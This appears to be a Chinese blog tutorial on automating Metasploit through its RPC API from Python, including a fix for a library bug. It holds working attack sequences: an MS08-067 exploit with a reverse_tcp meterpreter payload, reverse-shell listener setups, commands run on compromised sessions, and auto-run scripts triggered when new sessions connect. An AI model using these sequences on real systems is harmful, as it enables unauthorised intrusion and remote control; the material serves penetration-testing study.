目錄
Metaspolit結合Python的使用
有關pymsf的修改
pymsf的call函數在登錄以後調用一次以上就會報錯:
wrong number of arguments (given 2, expected 0)
希望0個參數,但是給了兩個
相關代碼:
def call(self,meth,opts = []):
.......
if meth != "auth.login":
opts.insert(0,self.token)
......
乍一看沒什麼問題,不給opts傳值時,opts就會賦給一個空List。
但是由於Python中的List爲引用類型,opts=[]所對應的空數組只會在開始運行時進行初始化,而後只調用該引用。
說的比較難理解,我們可以做個實驗:
def a(b=[]):
b.append(1)
print(b)
a()
a()
a()
可以發現輸出爲:
說明每次b調用的默認List指向了同一個引用。
兩個解決辦法
- 每次給opts賦值
- 修改pymsf.py:
def call(self,meth,opts = None):
if opts is None:
opts = []
...
修改後的庫:https://github.com/fnmsd/msfrpc
python依賴庫
pip install msgpack
#SpiderLabs的那份的msfrpc庫的call函數有點問題,我改了一下
wget https://raw.githubusercontent.com/fnmsd/msfrpc/master/python-msfrpc/msfrpc.py
起手
metaspolit端啓動msfrpc
load msgrpc Pass=Rinne
#詳細參數
#load msgrpc ServerHost=192.168.1.0 ServerPort=55553 User=user Pass='pass123'
執行結果:
PS:也可以不啓動msf來啓動msfrpcd,不過不推薦,不方便調試。
ruby msfrpcd -U user -P pass123 -p 55552 -a 127.0.0.1
pyhton端進行連接:
from msfrpc import Msfrpc
#默認連接127.0.0.1:55552,如果指定了端口或host可以將空字典改爲{"host":hostname,"port":port}的形式指定端口
client = Msfrpc({})
client.login('msf','Rinne')#登陸成功返回True
得到一個登陸了的MsfRPC客戶端,登陸保持的時間似乎比較短,長時間不用時需要重新登陸。
用法
直接讀寫Console的用法(不推薦)
網上很多是這麼做的,先說下這種,在之前的登陸後的client基礎上創建一個控制檯,進行寫入命令、讀取輸出,和直接在Metaspolit中操作是相同,個人感覺不太靈活。
以下轉自:https://www.freebuf.com/sectool/61282.html
#創建控制檯
ress = client.call('console.create')
console_id = ress['id']
#構建好要執行的命令
commands = """use exploit/windows/smb/ms08_067_netapi
set PAYLOAD windows/meterpreter/reverse_tcp
set RHOST """+RHOST+"""
set LHOST """+LHOST+"""
set LPORT """+LPORT+"""
set ExitOnSession false
exploit -z
"""
print "[+] Exploiting MS08-067 on: "+RHOST
#將構建好的命令寫入控制檯
client.call('console.write',[console_id,commands])
#讀取執行結果
res = client.call('console.read',[console_id])
result = res['data'].split('\n')
使用module\jobs\sessions API進行操作
-
module API
#ModuleType exploit/post/payload/payloads/encoders client.call('module.execute',["ModuleType", "ModuleName", { "RHOST" => "1.2.3.4", "RPORT" => "80" }])
比如想使用multi/handler的進行meterpreter的監聽(metasploit中設置參數時參數名可以忽略大小寫,API調用時一定要注意大小寫)
client.call('module.execute',['exploit','multi/handler',{ 'LHOST':'0.0.0.0', 'LPORT':22334, 'PAYLOAD':'windows/meterpreter/reverse_tcp' }])
可以看到成功創建了任務,如果任務創建不成功則job_id爲None
-
jobs API
- 剛纔創健的那個任務我們可以使用job.list API看到
client.call('job.list')
client.call('job.info',[jobid])
- 如果想停止任務使用job.stop API
client.call('job.stop',[jobid])
同時,可以看到對一個不存在的job使用stop會返回error。
- session API
- 查看當前session
client.call('session.list')
會返回詳細的session信息
-
停止session
client.call('session.stop',[sessionid]) #還有個session.meterpreter_session_kill是殺掉meterpreter打開的channel或者shell
-
操作shell類session(直接往shell裏寫命令)
client.call('session.shell_write',[sessionid,'whoami']) client.call('session.shell_read',[sessionid])
-
操作meterpreter類session(相當於直接在控制檯裏與meterpreter進行交互)
client.call('session.meterpreter_write',[sessionid,'getuid']) client.call('session.meterpreter_read',[sessionid]) #還有一個session.meterpreter_run_single可以自行看下手冊
-
session升級(shell升級到meterpreter)
client.call('session.shell_upgrade',[sessionid])
額外的一點東西
有的時候只是爲了批量執行命令可以不使用msfrpc,直接寫一個rc文件進行批量執行即可。
比如我只是想快速開一個監聽器,按照metaspolit命令寫這樣一個腳本即可,比如叫listener.rc
use multi/handler
set payload windows/meterpter/reverse_tcp
set lhost 0.0.0.0
set lport 12345
set exitonsession false
exploit -j -z
打開msf直接執行resource listener.rc;或者msfconsole -r listener.rc。
同樣在meterpreter session連接的時候,可以讓其自動執行腳本。
use multi/handler
set AutoRunScript "multi_console_command -r /root/meterpreter.rc"
注意,一定要set AutoRunScript以後再啓動handler,否則不生效。
設置好後,當新的session接入後就會自動執行文件中的命令。
參考
-
MSF常用RPC API(moudles\sessions\jobs…)
https://metasploit.help.rapid7.com/docs/standard-api-methods-reference
-
RPC相關參數